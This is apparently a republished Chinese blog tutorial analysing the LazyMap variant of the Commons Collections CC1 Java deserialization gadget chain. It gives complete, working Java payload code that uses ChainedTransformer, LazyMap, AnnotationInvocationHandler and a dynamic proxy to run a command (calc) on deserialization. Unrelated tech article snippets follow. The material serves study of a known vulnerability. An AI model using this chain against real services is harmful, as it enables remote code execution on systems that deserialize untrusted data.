CC1链的第二种方式-LazyMap版调用链

news2024/11/16 1:25:04

文章目录

  • CC1链的第二种方式-LazyMap版调用链
    • LazyMap
    • 构造payload
    • CC1的调用链

CC1链的第二种方式-LazyMap版调用链

CC1链的第一种方式可以参考另一篇文章:CC1链_全网最菜的分析思路

LazyMap

在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。

区别在于调用transform的类是不同的。

在寻找transform调用的时候,当时使用的是TransformedMap中的checkSetValue()方法。

其实在LazyMap的get()方法也满足需求,也能到达readObject()。

具体方法如下:

其中比较重要的代码是

Object value = factory.transform(key);

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。

factory的赋值语句在LazpMap的构造函数内部。

那又是谁调用了LazyMap的get()方法呢?

这里非常的不好找,因为调用太多了(找到的师傅牛~)。

AnnotationInvocationHandler类的invoke()方法中有调用:

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform

构造payload

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform()

所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

factory是在LazyMap的构造函数中赋值:

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

则可以得到如下不完整的payload:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

其中调用lazyMap的get()方法,则会触发恶意代码,测试一下:

// 调用lazyMap的get()方法则会调用chainedTransformer的transformer()
        lazyMap.get("key");

接下来想办法:如何调用到lazyMap的get()方法呢?

前面说在AnnotationInvocationHandler类的invoke()方法中有调用get()方法:

而这里的调用,是通过memberValues来进行调用,我们需要保证memberValueslazyMap,这样的话,执行该invoke()方法时才会调用到lazyMapget()方法。

memberValues是通过AnnotationInvocationHandler的构造函数传入:

AnnotationInvocationHandler类不能实例化,需要借助反射,相关代码如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

那如何调用InvocationHandler ih对象的invoke()方法呢?

这里可以看到AnnotationInvocationHandler类实现自InvocationHandler接口,也就是说AnnotationInvocationHandler类是一个动态代理的处理器类。

那么,想调用InvocationHandler ih对象的invoke()方法,只需要调用被代理对象的任意方法,则可以调用ih对象的invoke()。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke(),也就是说需要创建动态代理。

创建动态代理代码如下:

  • 这里的动态代理对象,用来代理LazyMap实现的接口,处理器对象为ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

这样只需要调用LazyMap对象的任意方法,就会调用ih对象的invoke()

注意这里虽然调用任意方法,可以调用ih对象的invoke(),但是还得保证,调用invoke()方法之后,能执行到Object result = memberValues.get(member);,这样才能执行我们想要的lazyMapget()方法。

我们可以看到:执行invoke方法之后,有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)

总结下来就是:动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在参数。

那么,被代理对象lazyMap可执行的方法(看代理的接口Map的方法)还有下面几个:

测试一下是否可以执行恶意代码:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);


Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);

mapProxy.clear();

接下来,寻找谁调用了mapProxy(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandlerreadObject方法中存在 map对象的entrySet()无参方法调用:

其中我们需要保证memberValues变量为mapProxy(被代理对象)即可,而且这里是在readObject方法中,直接一步到位。

这里怎么办呢?

同样的,通过反射创建AnnotationInvocationHandler对象,并将mapProxy(被代理对象)传入,给memberValues变量赋值即可:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而这里的前面三行已经有了,所以此时的payload可以合并为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

得到了一个对象obj,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。

则最终的payload为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);

Object obj = declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

CC1的调用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2151180.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全面解析流量态势感知与网络性能监控:IT运维中的核心技术

在现代IT运维中&#xff0c;网络的稳定性和业务的连续性是企业赖以生存的基石。随着数字化转型的深入&#xff0c;网络流量日益复杂&#xff0c;安全威胁愈加严峻&#xff0c;运维人员不仅需要确保网络的顺畅运行&#xff0c;还必须及时发现潜在风险并快速响应。流量态势感知与…

如何查看Android设备的dpi

adb shell getprop ro.sf.lcd_density adb shell cat /system/build.prop > build_prop.txt shell cat system/build.prop 结果&#xff1a;参考&#xff1a; 如何查看Android设备的dpi_安卓 查看手机dpi-CSDN博客

ABAP-Swagger 一种公开 ABAP REST 服务的方法

ABAP-Swagger An approach to expose ABAP REST services 一种公开 ABAP REST 服务的方法 Usage 1: develop a class in ABAP with public methods 2: implement interface ZIF_SWAG_HANDLER, and register the public methods(example method zif_swag_handler~meta) 3: …

ElementUI 用span-method实现循环el-table组件的合并行功能

需要把指定列的相同数据合并起来&#xff08;项目中用的是updateTime&#xff09; 后端返回的数据格式&#xff1a; html&#xff1a; <el-tab-pane label"执行记录概览" name"fourth" v-loading"loading"><el-timeline v-if"re…

单元测试和unittest框架(超详细总结)

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;薪资嘎嘎涨 单元测试的定义 1. 什么是单元测试&#xff1f; 单元测试是指&#xff0c;对软件中的最小可测试单元在与程序其他部分相隔离的情况下进行检查和验证的工作&am…

电子烟智能化创新体验:WTK6900P语音交互芯片方案,融合频谱计算、精准语音识别与流畅音频播报

一&#xff1a;开发背景 在这个科技日新月异的时代&#xff0c;每一个细节的创新都是对传统的一次超越。今天&#xff0c;我们自豪地宣布一项革命性的融合——将先进的语音识别技术与电子烟相结合&#xff0c;通过WTK6900P芯片的卓越性能&#xff0c;为您开启前所未有的个性化…

【有啥问啥】摄像头成像质量量化标准解读与测试方法

摄像头成像质量量化标准解读与测试方法 在自动驾驶和智能驾驶舱领域&#xff0c;摄像头是关键的感知设备&#xff0c;直接关系到系统的环境感知能力。为确保摄像头在实际应用中表现出色&#xff0c;需明确了解其成像质量标准和测试方法。本文将围绕成像质量的核心指标、测试方…

【机器学习(九)】分类和回归任务-多层感知机 (MLP) -Sentosa_DSML社区版

文章目录 一、算法概念二、算法原理&#xff08;一&#xff09;感知机&#xff08;二&#xff09;多层感知机1、隐藏层2、激活函数sigma函数tanh函数ReLU函数 3、反向传播算法 三、算法优缺点&#xff08;一&#xff09;优点&#xff08;二&#xff09;缺点 四、MLP分类任务实现…

PCL addLine可视化K近邻

目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 PCL点云算法汇总及实战案例汇总的目录地址链接&#xff1a; PCL点云算法与项目实战案例汇总&#xff08;长期更新&#xff09; 一、概述 本文将介绍如何使用PCL库中…

前端实用工具(二):编程规范化解决方案

目录 本地代码规范化工具 代码检测工具ESLint 代码格式化工具Prettier 远程代码规范化工具 远程提交规范化工具commitizen 提交规范检验工具commitlint husky 什么是git hooks commitlint安装 husky安装 检测代码提交规范 ESLint husky 自动修复格式错误lint-staged…

前缀和与差分(二维)

二维前缀和 下面是一个二维数组&#xff0c;我们要求&#xff08;1&#xff0c;1&#xff09;到&#xff08;2&#xff0c;2&#xff09;区间内的所有元素的和&#xff0c;最原始的方法就是遍历每个元素然后一个一个加起来&#xff0c;此时时间复杂度为O(n*m)。 我们之前学过…

华为---代理ARP工作过程示例分析

目录 1. 示例场景 2. 基本配置 3. 配置代码 4. 测试验证 5. 抓包分析 5.1 在代理ARP环境下PC1和PC2通信分析 5.2 取消代理ARP环境下PC1和PC2通信分析 【1】取消R1路由器GE 0/0/1端口ARP代理 【2】取消R2路由器GE 0/0/1端口ARP代理 1. 示例场景 如上图所示&#xff0c;…

Python 中的方法解析顺序(MRO)

在 Python 中&#xff0c;MRO&#xff08;Method Resolution Order&#xff0c;方法解析顺序&#xff09;是指类继承体系中&#xff0c;Python 如何确定在调用方法时的解析顺序。MRO 决定了在多继承环境下&#xff0c;Python 如何寻找方法或属性&#xff0c;即它会根据一定规则…

Ceph 基本架构(一)

Ceph架构图 Ceph整体组成 Ceph 是一个开源的分布式存储系统&#xff0c;设计用于提供优秀的性能、可靠性和可扩展性。Ceph 的架构主要由几个核心组件构成&#xff0c;每个组件都有特定的功能&#xff0c;共同协作以实现高可用性和数据的一致性。 以下是 Ceph 的整体架构及其…

【PyTorch】autograd与逻辑回归

autograd – 自动求导系统 torch.autograd autograd torch.autograd.backward 功能&#xff1a;自动求取梯度 tensor&#xff1a;用于求导的张量&#xff0c;如lossretain_graph&#xff1a;保存计算图create_graph&#xff1a;创建导数计算图&#xff0c;用于高阶求导gra…

mac安装JetBtains全家桶新版本时报错:Cannot start the IDE

mac安装JetBtains全家桶新版本时报错&#xff1a;Cannot start the IDE 前言报错信息解决方法 前言 作者使用的是Mac电脑&#xff0c;最近想要更新JetBrains相关工具的软件版本&#xff0c;但是在安装时突然报错&#xff0c;导致安装失败&#xff0c;现在将报错信息以及解决方…

API应用安全风险倍增,F5助企业赢得关键安全挑战

如今&#xff0c;API应用安全的重要性与日俱增&#xff0c;但其复杂性也达到前所未有的程度。F5公司在亚太地区发布全新研究报告《2024策略洞察&#xff1a;亚太地区API安全报告》&#xff08;以下简称为“报告”&#xff09;&#xff0c;指出亚太地区企业正愈加依赖基于人工智…

Linux 进程2

环境变量 再Linux操作系统中一切皆文件&#xff0c;这个环境变量自然也是一个文件&#xff0c;它的作用是辅助我们使用操作系统还可以辨识我们是什么用户(一般用户&#xff0c;root用户)。 env是读取完整环境变量的指令&#xff0c;里面记录了许多我登录操作系统所用的用户的信…

一文说清楚ETL与Kafka如何实现集成

ETL与Kafka为何需要集成? 随着企业对实时流数据的处理要求越来越高&#xff0c;很多企业都把实时流数(日志、实时CDC采集数据、设备数据…)先推入到kafka中&#xff0c;再通过ETL对kafka中的数据进行消费通过ETL强大的数据的转换、清洗功能来进行数据的集成与分发。 实时数据…

table表格,让thead固定,tbody内容滚动,关键是都对齐的纯css写法

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f…